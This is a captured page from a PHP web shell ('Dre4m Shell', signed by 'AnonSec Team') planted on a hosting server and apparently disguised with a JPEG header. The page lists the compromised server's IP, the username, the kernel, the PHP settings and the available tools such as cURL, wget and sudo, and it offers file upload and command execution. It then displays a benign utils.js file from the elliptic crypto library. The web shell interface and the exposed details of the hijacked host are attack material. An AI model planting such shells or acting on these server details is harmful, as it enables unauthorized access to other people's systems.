ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.16.81.14
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/nicnwebsiteUpgrade/node_modules/elliptic/lib/elliptic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/nicnwebsiteUpgrade/node_modules/elliptic/lib/elliptic/utils.js
'use strict';

var utils = exports;
var BN = require('bn.js');
var minAssert = require('minimalistic-assert');
var minUtils = require('minimalistic-crypto-utils');

utils.assert = minAssert;
utils.toArray = minUtils.toArray;
utils.zero2 = minUtils.zero2;
utils.toHex = minUtils.toHex;
utils.encode = minUtils.encode;

// Represent num in a w-NAF form
function getNAF(num, w, bits) {
  var naf = new Array(Math.max(num.bitLength(), bits) + 1);
  naf.fill(0);

  var ws = 1 << (w + 1);
  var k = num.clone();

  for (var i = 0; i < naf.length; i++) {
    var z;
    var mod = k.andln(ws - 1);
    if (k.isOdd()) {
      if (mod > (ws >> 1) - 1)
        z = (ws >> 1) - mod;
      else
        z = mod;
      k.isubn(z);
    } else {
      z = 0;
    }

    naf[i] = z;
    k.iushrn(1);
  }

  return naf;
}
utils.getNAF = getNAF;

// Represent k1, k2 in a Joint Sparse Form
function getJSF(k1, k2) {
  var jsf = [
    [],
    [],
  ];

  k1 = k1.clone();
  k2 = k2.clone();
  var d1 = 0;
  var d2 = 0;
  var m8;
  while (k1.cmpn(-d1) > 0 || k2.cmpn(-d2) > 0) {
    // First phase
    var m14 = (k1.andln(3) + d1) & 3;
    var m24 = (k2.andln(3) + d2) & 3;
    if (m14 === 3)
      m14 = -1;
    if (m24 === 3)
      m24 = -1;
    var u1;
    if ((m14 & 1) === 0) {
      u1 = 0;
    } else {
      m8 = (k1.andln(7) + d1) & 7;
      if ((m8 === 3 || m8 === 5) && m24 === 2)
        u1 = -m14;
      else
        u1 = m14;
    }
    jsf[0].push(u1);

    var u2;
    if ((m24 & 1) === 0) {
      u2 = 0;
    } else {
      m8 = (k2.andln(7) + d2) & 7;
      if ((m8 === 3 || m8 === 5) && m14 === 2)
        u2 = -m24;
      else
        u2 = m24;
    }
    jsf[1].push(u2);

    // Second phase
    if (2 * d1 === u1 + 1)
      d1 = 1 - d1;
    if (2 * d2 === u2 + 1)
      d2 = 1 - d2;
    k1.iushrn(1);
    k2.iushrn(1);
  }

  return jsf;
}
utils.getJSF = getJSF;

function cachedProperty(obj, name, computer) {
  var key = '_' + name;
  obj.prototype[name] = function cachedProperty() {
    return this[key] !== undefined ? this[key] :
      this[key] = computer.call(this);
  };
}
utils.cachedProperty = cachedProperty;

function parseBytes(bytes) {
  return typeof bytes === 'string' ? utils.toArray(bytes, 'hex') :
    bytes;
}
utils.parseBytes = parseBytes;

function intFromLE(bytes) {
  return new BN(bytes, 'hex', 'le');
}
utils.intFromLE = intFromLE;


Anon7 - 2022
AnonSec Team